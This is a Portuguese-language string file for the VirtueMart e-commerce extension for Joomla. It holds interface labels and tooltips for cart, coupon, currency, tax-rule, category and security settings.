COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PRODUCTS_PER_ROW="Número padrão de produtos top 10 em uma linha" COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PRODUCTS_PER_ROW_EXPLAIN="Isso define o número de produtos top 10 em uma linha.
            " COM_VIRTUEMART_ADMIN_CFG_USER_REGISTRATION_SETTINGS="Configurações de registro de usuário" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE="Use somente como catálogo" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE_EXPLAIN="Se você marcar isso, você desativa todas as funcionalidades do carrinho." COM_VIRTUEMART_ADMIN_ENCRYPTION_FUNCTION="Função criptografia" COM_VIRTUEMART_ADMIN_ENCRYPTION_FUNCTION_TIP="Aqui você pode selecionar a função de criptografia usado para criptografar informações confidenciais antes de ser armazenado no banco de dados. Recomenda-se AES_ENCRYPT, porque é muito seguro. ENCODE não fornece criptografias reais." COM_VIRTUEMART_ADMIN_ENCRYPTION_KEY="Chave de criptografia" COM_VIRTUEMART_ADMIN_ENCRYPTION_KEY_TIP="Usado para segurança da loja e recuperar dados sensíveis (como informações de cartão de crédito) criptografada no banco de dados." COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED="Somente usuários registrados podem fazer a verificação" COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED_TIP="Esta opção deixa apenas utilizadores registrados fazer uma verificação, você deve ter 'On checkout, solicitar o registro habilitado" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO="Mostrar termos de serviço no carrinho/verificação?" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO_TIP="Os donos de lojas são obrigados por lei a informar os seus clientes sobre o retorno e as políticas de ordem de cancelamento, na maioria dos países europeus. Portanto, este deve ser habilitado na maioria dos casos." COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES="Mostrar imagem de produtos" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES_TIP="Exibir miniaturas mini dos produtos no carrinho, pode quebrar o seu layout" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER="Nenhuma verificação, solicite ao registro" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER_TIP="Durante o processo de compra, o cliente pode se cadastrar" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS="Mostrar etapas da verificação" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS_TIP="Texto a ser exibido antes página de registo" COM_VIRTUEMART_ADMIN_PAYMENT_CONFIGURATION="Configuração" COM_VIRTUEMART_ADMIN_PAYMENT_FORM="Informações do método de pagamento" COM_VIRTUEMART_ADMIN_SECURITY_SETTINGS="Configurações de segurança" COM_VIRTUEMART_ADMIN_SHIPMENT_CONFIGURATION="Configuração" COM_VIRTUEMART_ADMIN_SHIPMENT_FORM="Informação do método de envio" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND="Mostrar recomendar este link à um amigo?" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND_TIP="Quando ativado, é exibido um link que permite ao cliente enviar um e-mail de recomendação para um produto específico." COM_VIRTUEMART_ADMIN_SHOW_PRINTICON="Mostrar o link pre-visualizar impressão?" COM_VIRTUEMART_ADMIN_SHOW_PRINTICON_TIP="Quando ativado, é exibido um link que abre a página atual em um popup novo para mostrá-lo." COM_VIRTUEMART_ADMIN_STORE_CREDITCARD_DATA="Armazenamento de informações de cartão de crédito?" COM_VIRTUEMART_ADMIN_UPDATES="Atualizações" COM_VIRTUEMART_ADVANCED_SEARCH="Busca avançada" COM_VIRTUEMART_AD_ACY="Para uma solução mais complexa para enviar e-mails, você pode tentar: < br / > %s" COM_VIRTUEMART_AES_ENCRYPT_STRONG_SECURITY="AES_ENCRYPT (segurança forte)" COM_VIRTUEMART_AGREE_TO_TOS="Por favor, concorde com os nossos termos de Serviço primeiro." COM_VIRTUEMART_AJAX_CART_WAITING="Por favor espere. Atualizando carrinho..." COM_VIRTUEMART_AJAX_PRODUCTS_LBL="%s produtos" COM_VIRTUEMART_AJAX_PRODUCT_LBL="1 produto" COM_VIRTUEMART_ALL="Todos" COM_VIRTUEMART_APPLY="Aplicar" COM_VIRTUEMART_ASEND_MSG="Olá %s, um novo usuário e registrou no %s. Este e-mail contém os detalhes dele" COM_VIRTUEMART_ASKQU_CS_MAX="muito longo" COM_VIRTUEMART_ASKQU_CS_MIN="Mínimo não atingido" COM_VIRTUEMART_ASKQU_INV_MAIL="Endereço de e-mail digitado não é válido" COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH="Question maximum length" COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH_EXPLAIN="Maximum valid length for asking a question" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH="Question minimum length" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH_EXPLAIN="Minimum valid length for asking a question" COM_VIRTUEMART_ASK_QUESTION_SHOW="Mostrar o link Perguntar?" COM_VIRTUEMART_ASK_QUESTION_SHOW_EXPLAIN="Quando habilitado, um link é exibido que abre em um pop-up novo e permite que os clientes enviem uma pergunta ao vendedor" COM_VIRTUEMART_ASSIGN_ZONE_PG_LBL="Atribuir Zonas" COM_VIRTUEMART_ATTRIBUTES="Atributos" COM_VIRTUEMART_ATTRIBUTE_LIST_NAME="Nome do Atributo" COM_VIRTUEMART_AVAILABILITY="Disponibilidade" COM_VIRTUEMART_AVAILABILITY_EXPLAIN="Será exibido quando produtos fora de estoque podem ser solicitados" COM_VIRTUEMART_AVAILABLE_IMAGES="Imagens disponíveis para" COM_VIRTUEMART_BACK="Voltar" COM_VIRTUEMART_BACK_TO_DETAILS="Voltar para os detalhes do produto" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL="Ordem de classificação de categoria padrão" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL_TIP="Define para qual campo das categorias são ordenadas por padrão nas páginas do navegador" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL="Ordem padrão de classificação de produtos" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL_TIP="Define por qual campo de produtos são por padrão ordenados nas páginas de navegação" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_TITLE="Configurações de Ordem de Produtos" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL="Ordenar por campos disponíveis" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL_TIP="Escolha ordenar por campos para a página de navegação. Cada um define um método de classificação para a página de navegação do produto. Se você desmarcar todos, a ordem por formulário não será mostrada." COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL="Campos de pesquisa disponíveis" COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL_TIP="Escolha a busca por campos para a página de navegação. Cada um define um método de pesquisa para a página de navegação do produto. Se você desmarcar tudo, o formulário de pesquisa não será mostrado." COM_VIRTUEMART_BROWSE_VENDOR_LBL="A partir de" COM_VIRTUEMART_BUTTON_LOGIN="Login" COM_VIRTUEMART_BUTTON_LOGOUT="Logout" COM_VIRTUEMART_BUTTON_SEND_REG="Enviar registro" COM_VIRTUEMART_CALC="Imposto e regra de cálculo" COM_VIRTUEMART_CALC_DETAILS="Detalhes de imposto e regras cálculo " COM_VIRTUEMART_CALC_EPOINT_DATAX="Modificador de preço após impostos" COM_VIRTUEMART_CALC_EPOINT_DATAXBILL="Modificador de preço depois de impostos por fatura" COM_VIRTUEMART_CALC_EPOINT_DBTAX="Modificador de preço antes dos impostos" COM_VIRTUEMART_CALC_EPOINT_DBTAXBILL="Modificador preço antes de imposto por fatura" COM_VIRTUEMART_CALC_EPOINT_PMARGIN="Modificador de preço para PMargin" COM_VIRTUEMART_CALC_EPOINT_TAX="Imposto por produto" COM_VIRTUEMART_CALC_EPOINT_TAXBILL="Imposto por fatura" COM_VIRTUEMART_CALC_EPOINT_VATTAX="IVA imposto por produto" COM_VIRTUEMART_CALC_KIND="Tipo de cálculo" COM_VIRTUEMART_CALC_LOCATION="Países" COM_VIRTUEMART_CALC_NAME="Nome da regra de cálculo" COM_VIRTUEMART_CALC_S="Impostos e Regras de cálculo" COM_VIRTUEMART_SHARED="compartilhado" COM_VIRTUEMART_CALC_SHOPPER_PUBLISH_TOGGLE_OFF="Invisível para o comprador" COM_VIRTUEMART_CALC_SHOPPER_PUBLISH_TOGGLE_ON="Visível para o comprador" COM_VIRTUEMART_CALC_VALUE_MATHOP="Operação Matemática" COM_VIRTUEMART_CALC_VENDOR_PUBLISH_TOGGLE_OFF="Invisível para o fornecedor" COM_VIRTUEMART_CALC_VENDOR_PUBLISH_TOGGLE_ON="Visível para o fornecedor" COM_VIRTUEMART_CALC_VIS_SHOPPER="Comprador visível" COM_VIRTUEMART_CALC_VIS_VENDOR="Fornecedor visível" COM_VIRTUEMART_CANCEL="Cancelar" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_CATEGORY_GIVEN="Não é possível criar imagem para categoria" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_MANUFACTURER_GIVEN="Não é possível criar imagem de fabricantes" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_PRODUCT_GIVEN="Não é possível criar imagem para o produto" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_VENDOR_GIVEN="Não é possível criar imagem para o fornecedor" COM_VIRTUEMART_CART_DATA_NOT_VALID="Dados do carrinho não são válidos" COM_VIRTUEMART_CART_MAIL_FOOTER="Obrigado por comprar em " COM_VIRTUEMART_CART_MAIL_SHOPPER_SUMMARY="

            Encomenda confirmada

            Você comprou e confirmou uma encomenda na loja online de %1$s.

            Você pode verificar o status de seu pedido entrando em sua conta pessoal

            " COM_VIRTUEMART_CART_MAIL_SHOPPER_YOUR_PASSWORD="Sua senha do pedido" COM_VIRTUEMART_CART_NO_PAYMENT_SELECTED="Nenhum pagamento selecionado" COM_VIRTUEMART_CART_NO_SHIPMENT_SELECTED="Nenhum embarque selecionado" COM_VIRTUEMART_CART_PRICE="Preço " COM_VIRTUEMART_CART_PRICE_FREE="Grátis" COM_VIRTUEMART_CART_TOTAL="Total" COM_VIRTUEMART_CART_VIEW_DEFAULT_DESC="Exibir o carrinho de compras" COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE="Carrinho de compras VirtueMart" COM_VIRTUEMART_CAST_VOTE="Por favor, vote" COM_VIRTUEMART_CATEGORIES_RELATED_SEARCH="Buscar por categorias selecionadas" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_DESC="Para definir categoria pai" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_TITLE="Layout de categorias VirtueMart" COM_VIRTUEMART_CATEGORY="Categoria do produto" COM_VIRTUEMART_CATEGORY_DESCRIPTION="Descrição da categoria" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_TITLE="Selecionar uma categoria" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_TITLE_DESC="Selecionar categoria" COM_VIRTUEMART_CATEGORY_FORM_BROWSE_LAYOUT="Procurar página da categoria" COM_VIRTUEMART_CATEGORY_FORM_BROWSE_PAGE="Template padrão por Categoria" COM_VIRTUEMART_CATEGORY_FORM_FLYPAGE="Detalhes da página padrão do produto" COM_VIRTUEMART_CATEGORY_FORM_IMAGE_DELETE_LBL="Apagar imagem" COM_VIRTUEMART_CATEGORY_FORM_INITIAL_DISPLAY_RECORDS="Mostrar formulário inicial para registro de categoria" COM_VIRTUEMART_CATEGORY_FORM_LBL="Formulário de categoria do produto" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_MAX="Limitar lista de formulário máximo para Categoria" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_START="Limitar lista de Formulário para categoria inicial" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_STEP="Limitar lista de Formulário Categoria" COM_VIRTUEMART_CATEGORY_FORM_PARENT="Categoria pai" COM_VIRTUEMART_CATEGORY_FORM_PRODUCTS_PER_ROW="Número padrão de Produtos por Linha" COM_VIRTUEMART_CATEGORY_FORM_SHARED="Categoria é compartilhada?" COM_VIRTUEMART_CATEGORY_FORM_TEMPLATE="Template da categoria" COM_VIRTUEMART_CATEGORY_FORM_TOP_LEVEL="Nível superior da categoria" COM_VIRTUEMART_CATEGORY_ID="Categoria" COM_VIRTUEMART_CATEGORY_IMAGE="Imagem da Categoria" COM_VIRTUEMART_CATEGORY_NAME="Nome da categoria" COM_VIRTUEMART_CATEGORY_ORDERING="Ordenação por categoria" COM_VIRTUEMART_CATEGORY_S="Categoria dos produtos" COM_VIRTUEMART_CATEGORY_SHARE="Categoria compartilhada" COM_VIRTUEMART_CATEGORY_SHARED_SUCCESS="Definir categoria para compartilhar" COM_VIRTUEMART_CATEGORY_TEMPLATE_DEFAULT="Usar loja padrão" COM_VIRTUEMART_CATEGORY_UNSHARE="Categoria não compartilhada" COM_VIRTUEMART_CATEGORY_UNSHARED_SUCCESS="Categoria não compartilhada" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_DESC="Exibir uma categoria única VirtueMart" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE="Layout de categoria VirtueMart" COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE="Habilitar descrições em conteúdo de plugins?" COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE_TIP="Se ativado, as descrições do produto e categoria são analisados ??por todos os conteúdos de plugins publicados." COM_VIRTUEMART_CFG_CURRENCY_MODULE="Selecione um módulo conversor de moeda" COM_VIRTUEMART_CFG_CURRENCY_MODULE_TIP="Isso permite que você selecione um módulo conversor moeda correto. Tais módulos buscam taxas de câmbio de um servidor e convertem uma moeda para outra." COM_VIRTUEMART_CFG_ENABLE_FEATURE="Ativar esse recurso" COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY="Enviar notificação de estoque baixo" COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY_TIP="Envia uma notificação de estoque baixo se os produtos em estoque e reservados são menores do que o valor definido no cadastro do produto" COM_VIRTUEMART_CFG_POOS_ENABLE="Ação a ser tomada quando um produto estiver fora de estoque" COM_VIRTUEMART_CFG_POOS_ENABLE_EXPLAIN="Definir aqui, qual a ação deverá acontecer, quando um produto estiver fora de estoque" COM_VIRTUEMART_CHANGE_TRANSACTION_KEY="Mostrar / Alterar a Chave de Transação" COM_VIRTUEMART_CHILD_GENERIC_VARIANT="Variante de dependente genérico" COM_VIRTUEMART_CLONE="Copiar" COM_VIRTUEMART_CLOSE="Fechar" COM_VIRTUEMART_CMN_NEW_ITEM_LAST="Novos itens padrões para o último lugar. Ordenação pode ser alterada após este item ser salvo." COM_VIRTUEMART_CMN_OPTIONAL="Opcional" COM_VIRTUEMART_COL_ROWS_ATTRIBUTES="Atributos em Colunas, Linhas" COM_VIRTUEMART_COMMENT="Comentários" COM_VIRTUEMART_COMMENT_MIN_MAX="Sua mensagem deve ter entre %s até %s caracteres. Obrigado." COM_VIRTUEMART_COMMUNITY_FORUM="Fórum" COM_VIRTUEMART_CONFIG="Configuração" COM_VIRTUEMART_CONFIGURATION="Configuração" COM_VIRTUEMART_CONFIGURATION_CHANGE_FAILURE="Não foi possível gravar no arquivo de configuração %s!" COM_VIRTUEMART_CONFIGURATION_CHANGE_SUCCESS="Os detalhes de configuração foram atualizados!" COM_VIRTUEMART_CONFIGURATION_MOD="Configuração" COM_VIRTUEMART_CONFIG_SAVED="Configuração Salva" COM_VIRTUEMART_CONF_WARN_NO_CURRENCY_DEFINED="Nenhuma moeda definida para Loja! Vá para %s" COM_VIRTUEMART_CONF_WARN_NO_FORMAT_DEFINED="Moeda não está formatado! Vá para %s" COM_VIRTUEMART_CONTROL_PANEL="Painel de controle" COM_VIRTUEMART_COOKIE_MISSING="Falta de cookies" COM_VIRTUEMART_COUNTRY="País" COM_VIRTUEMART_COUNTRY_2_CODE="País (2) Código" COM_VIRTUEMART_COUNTRY_3_CODE="País (3) Código" COM_VIRTUEMART_COUNTRY_DETAILS="Detalhes do país" COM_VIRTUEMART_COUNTRY_NAME="Nome do país" COM_VIRTUEMART_COUNTRY_REFERENCE_NAME="Nome de Referência do País" COM_VIRTUEMART_COUNTRY_REFERENCE_NAME_TIP="O nome de referência do País é usado quando nenhuma chave existente no arquivo de linguagem para este país. Entretanto a chave da linguagem será usada. As chaves de linguagens dos países estão no arquivo `com_virtuemart_countries.ini`. A chave deve conter o prefixo `COM_VIRTUEMART_COUNTRY_` seguido pelo código de 3 letras do país." COM_VIRTUEMART_COUNTRY_S="Países" COM_VIRTUEMART_COUPON="Cupom" COM_VIRTUEMART_COUPONS_ENABLE="Permitir o uso do Cupom" COM_VIRTUEMART_COUPONS_ENABLE_EXPLAIN="Se você habilitar o uso de cupom, você permite que os compradores preencheecham em Números Cupom para ganhar descontos em suas compras." COM_VIRTUEMART_COUPONS_EXPIRE="Validade padrão do cupom" COM_VIRTUEMART_COUPONS_EXPIRE_EXPLAIN="Você pode definir uma validade padrão para cupons aqui; eles vão expirar determinado período de tempo após a criaóão. Esta data pode ser alterada por cupom." COM_VIRTUEMART_COUPON_CODE="Código do cupom" COM_VIRTUEMART_COUPON_DETAILS="Detalhes do cupom" COM_VIRTUEMART_COUPON_DISCOUNT="Desconto do cupom" COM_VIRTUEMART_COUPON_EXPIRY="Data de expiração do cupom" COM_VIRTUEMART_COUPON_EXPIRY_TIP="Data de expiração do cupom" COM_VIRTUEMART_COUPON_PERCENT="Percentual" COM_VIRTUEMART_COUPON_PERCENT_TOTAL="Percentual ou Total" COM_VIRTUEMART_COUPON_PERCTOT_TOOLTIP="Percentual ou Total" COM_VIRTUEMART_COUPON_S="Cupons" COM_VIRTUEMART_COUPON_START="Data de início do Cupom" COM_VIRTUEMART_COUPON_START_TIP="Data de início do Cupom" COM_VIRTUEMART_COUPON_SUBMIT_BUTTON="Submeter" COM_VIRTUEMART_COUPON_TIP="O código deverá introduzir o código do cupom" COM_VIRTUEMART_COUPON_TOTAL="Total" COM_VIRTUEMART_COUPON_TYPE="Tipo de cupom" COM_VIRTUEMART_COUPON_TYPE_GIFT="Vale-brinde" COM_VIRTUEMART_COUPON_TYPE_PERMANENT="Cupom permanente" COM_VIRTUEMART_COUPON_TYPE_TIP="O vale-brindes é eliminado depois de ter sido usado em uma ordem de compra. Um cupom permanente pode ser usado quantas vezes o cliente desejar." COM_VIRTUEMART_COUPON_VALUE_NOT_NUMBER="O valor do cupom deve ser um número." COM_VIRTUEMART_COUPON_VALUE_TIP="Valor do Cupom" COM_VIRTUEMART_COUPON_VALUE_VALID_AT="Mínimo total de pedido" COM_VIRTUEMART_COUPON_VALUE_VALID_AT_NOT_NUMBER="Valor de pedido inválido, valor deve ser válido" COM_VIRTUEMART_CREATED_ON="Data de criação" COM_VIRTUEMART_CREATE_ACCOUNT="Registrar" COM_VIRTUEMART_CURRENCY="Moeda" COM_VIRTUEMART_CURRENCY_CODE_2="Código 2 letras" COM_VIRTUEMART_CURRENCY_CODE_3="Código 3 letras" COM_VIRTUEMART_CURRENCY_DECIMALS="Decimais" COM_VIRTUEMART_CURRENCY_DECIMALSYMBOL="Símbolo decimal" COM_VIRTUEMART_CURRENCY_DECIMALSYMBOL_TIP="Caractere usado como símbolo decimal" COM_VIRTUEMART_CURRENCY_DECIMALS_TIP="Número de casas decimais exibidas (pode ser 0)
            Realiza o arredondamento se o valor conter diferentes números de casas decimais " COM_VIRTUEMART_CURRENCY_DETAILS="Detalhes da moeda" COM_VIRTUEMART_CURRENCY_DISPLAY="Estilo de exibição de moeda" COM_VIRTUEMART_CURRENCY_DISPLAY_EXPL="Para formato Positivo ou Negativo, use
            • {sign} para o sinal algébrico,
            • {number} para o valor e
            • {symbol} para a moeda
            como espaço reservado, todas as tags html são permitidas, exceto o caractere | não é permitido
            Por exemplo
            "_QQ_"{sign} <b>{number}</b> {symbol}"_QQ_"
            irá exibir um preço como + 42,23 €"_QQ_"" COM_VIRTUEMART_CURRENCY_END_DATE="Data final" COM_VIRTUEMART_CURRENCY_ERR_CODE="Você deve digitar um código para a moeda." COM_VIRTUEMART_CURRENCY_ERR_DELETE_SELECT="Por favor selecione uma moeda para apagar." COM_VIRTUEMART_CURRENCY_EXCHANGE_RATE="Taxa de câmbio" COM_VIRTUEMART_CURRENCY_FOR_VENDORS="Proibida a função de moeda para quem não são fornecedores" COM_VIRTUEMART_CURRENCY_NAME="Nome da moeda" COM_VIRTUEMART_CURRENCY_NEGATIVE_DISPLAY="Formato negativo" COM_VIRTUEMART_CURRENCY_NUMERIC_CODE="Código numérico" COM_VIRTUEMART_CURRENCY_POSITIVE_DISPLAY="Formato positivo" COM_VIRTUEMART_CURRENCY_S="Moedas" COM_VIRTUEMART_CURRENCY_START_DATE="Data de início" COM_VIRTUEMART_CURRENCY_SYMBOL="Símbolo de moeda" COM_VIRTUEMART_CURRENCY_THOUSANDS="Separador de milhares" COM_VIRTUEMART_CURRENTLY_NOT_AVAILABLE="Este produto não está disponível." COM_VIRTUEMART_CURRENT_TRANSACTION_KEY="Chave de Transação atual" COM_VIRTUEMART_CUSTOM="Campos personalizados" COM_VIRTUEMART_CUSTOMER_RATING="Avaliação média de compras" COM_VIRTUEMART_CUSTOM_ACTIVATE_JAVASCRIPT="Alguns Plugins podem conter Javascript. Por favor, salve o seu produto para ter controle total do seu plugin e voltar" COM_VIRTUEMART_CUSTOM_ADMIN_ONLY="Somente o administrador" COM_VIRTUEMART_CUSTOM_BOOL="Boolean" COM_VIRTUEMART_CUSTOM_CANNOT_PARENT="O registro personalizado em si não pode ser o pai !" COM_VIRTUEMART_CUSTOM_CART_USER_VARIANT="Variante do carrinho do usuário" COM_VIRTUEMART_CUSTOM_CART_VARIANT="Variante do carrinho" COM_VIRTUEMART_CUSTOM_CLONED_SUCCESSFULLY="O tipo personalizado(s) foi clonado com sucesso" COM_VIRTUEMART_CUSTOM_DEFAULT="Valor padrão" COM_VIRTUEMART_CUSTOM_EDITOR="Editor" COM_VIRTUEMART_CUSTOM_EXTENSION="Plugins" COM_VIRTUEMART_CUSTOM_FIELD_DESCRIPTION="Descrição" COM_VIRTUEMART_CUSTOM_FIELD_PRICE="Preço:" COM_VIRTUEMART_CUSTOM_FIELD_TYPE="Tipo de campo personalizado" COM_VIRTUEMART_CUSTOM_ID="Id personalizado" COM_VIRTUEMART_CUSTOM_IMAGE="Imagem" COM_VIRTUEMART_CUSTOM_INT="Número inteiro" COM_VIRTUEMART_CUSTOM_IS_CART_ATTRIBUTE="Atributos do carrinho" COM_VIRTUEMART_CUSTOM_IS_HIDDEN="Oculto" COM_VIRTUEMART_CUSTOM_IS_LIST="é uma lista?" COM_VIRTUEMART_CUSTOM_LAYOUT_POS="Posição do layout" COM_VIRTUEMART_CUSTOM_NOT_CLONED_SUCCESSFULLY="Falha ao copiar o tipo personalizado(s)" COM_VIRTUEMART_CUSTOM_NO_CHILD_PRODUCT="Nenhum produto filho" COM_VIRTUEMART_CUSTOM_NO_PARENT_RELATION="Nenhuma relação encontrada" COM_VIRTUEMART_CUSTOM_NO_TYPES="Sem campos personalizados. Por favor, use lista de seleção para adicionar alguns novos campos" COM_VIRTUEMART_CUSTOM_PAGE_TITLE="Personalizar título da página" COM_VIRTUEMART_CUSTOM_PARENT="Pai" COM_VIRTUEMART_CUSTOM_PO="Pai pode ser solicitado" COM_VIRTUEMART_CUSTOM_PRODUCT_CHILD="Produto Filho" COM_VIRTUEMART_CUSTOM_SAVE_FROM_CHILD="Substituir valores de plugin do pai" COM_VIRTUEMART_CUSTOM_STRING="Texto" COM_VIRTUEMART_CUSTOM_TEXTAREA="Área de texto" COM_VIRTUEMART_CUSTOM_TIP="Dica de ferramenta" COM_VIRTUEMART_CUSTOM_TITLE="Título" COM_VIRTUEMART_CUSTOM_WP="Mostrar o pai como opção" COM_VIRTUEMART_DATE="Data" ; THis is not valid joomla 1.7 !!! COM_VIRTUEMART_DATE_FORMAT_LC="%A, %d %B %Y" COM_VIRTUEMART_DATE_FORMAT_LC_J16="%A, %d %B %Y" ; INPUT_J16 is used to generate date for datepicker and must be contain only m d and y with the separators COM_VIRTUEMART_DATE_FORMAT_INPUT_J16="y.m.d" ; see http://docs.jquery.com/UI/Datepicker/formatDate to find the JS format COM_VIRTUEMART_DAY="Dia" COM_VIRTUEMART_DEFAULT="Padrão" COM_VIRTUEMART_DEFAULT_TOP_LEVEL="Padrão de nível superior" COM_VIRTUEMART_DEFAULT_VENDOR_CURRENCY="Moeda padrão do vendedor" COM_VIRTUEMART_DELETE="Deletar" COM_VIRTUEMART_DELETED_X_CUSTOM_FIELD_ITEMS="%s itens de campo personalizados foram apagados" COM_VIRTUEMART_DELETED_X_MEDIA_ITEMS="%s itens de mídia tenham sido excluídos" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_FRESH="Redefinir todas as tabelas
            e fazer uma nova instalação" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_FRESH_CONFIRM_JS="Isso exclui todas as tabelas do VirtueMart e faz uma nova instalação (nenhum arquivo). Você tem certeza?" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_SAMPLE="Redefinir todas as tabelas
            e instalar os dados de amostra" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_SAMPLE_CONFIRM_JS="Isso exclui todas as tabelas do VirtueMart e faz uma instalação de demonstração (nenhum arquivo). Você tem certeza?" COM_VIRTUEMART_DELETE_GENERAL_WARNING="Aviso" COM_VIRTUEMART_DELETE_MSG="Tem certeza de que deseja excluir este registro?" COM_VIRTUEMART_DELETE_RECORD="Excluir este registro" COM_VIRTUEMART_DELIVERY_TIME="Normalmente entregue em" COM_VIRTUEMART_DESCRIPTION="Descrição" COM_VIRTUEMART_DETAILS="Detalhes" COM_VIRTUEMART_DISABLED="Desabilitado" COM_VIRTUEMART_DISABLE_ITEM="Desabilitar item" COM_VIRTUEMART_DISCOUNT="Desconto" COM_VIRTUEMART_DISCOUNT_ADDDISCOUNT_TIP="Você pode usar o formulário de Desconto de Produto para adicionar descontos!" COM_VIRTUEMART_DISCOUNT_ADDED="O desconto de produto foi adicionado." COM_VIRTUEMART_DISCOUNT_AMOUNTTYPE="Tipo de desconto" COM_VIRTUEMART_DISCOUNT_ISPERCENT="Porcentagem" COM_VIRTUEMART_DISCOUNT_ISPERCENT_TIP="Deve a quantia ser um percentual ou um total?" COM_VIRTUEMART_DISCOUNT_ISTOTAL="Total" COM_VIRTUEMART_DISPLAY_END="Valor final" COM_VIRTUEMART_DISPLAY_STEP="Valor passo" COM_VIRTUEMART_DISPLAY_STOCK="Exibir nível de estoque" COM_VIRTUEMART_DISPLAY_STOCK_EXPLAIN="Se habilitado o nível de estoque será exibido no layout de categoria de produto" COM_VIRTUEMART_DOCUMENTATION="Documentação" COM_VIRTUEMART_DOWNLOADABLE="Disponível para Download" COM_VIRTUEMART_DO_LOGIN="Você precisa fazer o login" COM_VIRTUEMART_EDIT="Editar" COM_VIRTUEMART_EDITSHOP="Editar" COM_VIRTUEMART_EDIT_PARENT="Editar produto pai" COM_VIRTUEMART_EDIT_REVIEW="Editar" COM_VIRTUEMART_EMAIL="E-mail" COM_VIRTUEMART_EMAIL_SENDTO="Um e-mail de confirmação foi enviado para" COM_VIRTUEMART_EMPTY_CATEGORY="Esta Categoria está atualmente vazia." COM_VIRTUEMART_ENABLED="Habilitado" COM_VIRTUEMART_ENABLE_ITEM="Item habilitado" COM_VIRTUEMART_ENCODE_INSECURE="CODIFICAR (inseguro)" COM_VIRTUEMART_END_DATE="Data final" COM_VIRTUEMART_ENQUIRY="Inquérito" COM_VIRTUEMART_ENTER_VALID_DATE="Por favor, insira um formato de data válido (YYYY-MM-DD)" COM_VIRTUEMART_ENTER_VALUE_FIELD="Por favor insira um valor para o campo" COM_VIRTUEMART_ERROR="Erro" COM_VIRTUEMART_EXCLUDING_TAX="(excluding tax)" COM_VIRTUEMART_EXTENSION_UPGRADE_REMIND="Lembre-se! Atualize também suas extensões com o instalador AIO" COM_VIRTUEMART_E_IMAGES="Imagens" COM_VIRTUEMART_E_REMOVE="Remover" COM_VIRTUEMART_FEATURED="Destaque" COM_VIRTUEMART_FEATURED_PRODUCT="Produtos em destaque" COM_VIRTUEMART_FEATURED_PRODUCTS_LIST_LBL="Produtos em destaque e com desconto" COM_VIRTUEMART_FEE="Taxa" COM_VIRTUEMART_FEED_SUBSCRIBE_TITLE="Subscrever o feed dos últimos Produtos!" COM_VIRTUEMART_FEED_SUBSCRIBE_TOCATEGORY_TITLE="Subscrever o feed dos últimos Produtos nesta categoria!" COM_VIRTUEMART_FIELDMANAGER_COREFIELD="Campo de usuário do núcleo do Joomla" COM_VIRTUEMART_FIELDMANAGER_HIDE_ACCOUNT="Conta" COM_VIRTUEMART_FIELDMANAGER_HIDE_REGISTRATION="Registro" COM_VIRTUEMART_FIELDMANAGER_HIDE_SHIPPING="Expedição" COM_VIRTUEMART_FIELDMANAGER_NAME="Campo nome" COM_VIRTUEMART_FIELDMANAGER_REORDER="Reordenar" COM_VIRTUEMART_FIELDMANAGER_REQUIRE="Necessário" COM_VIRTUEMART_FIELDMANAGER_REQUIRED="Necessário" COM_VIRTUEMART_FIELDMANAGER_SHOW_ACCOUNT="Conta" COM_VIRTUEMART_FIELDMANAGER_SHOW_HIDE="Mostrar/Ocultar em:" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_ACCOUNT="Mostrar em manutenção de conta" 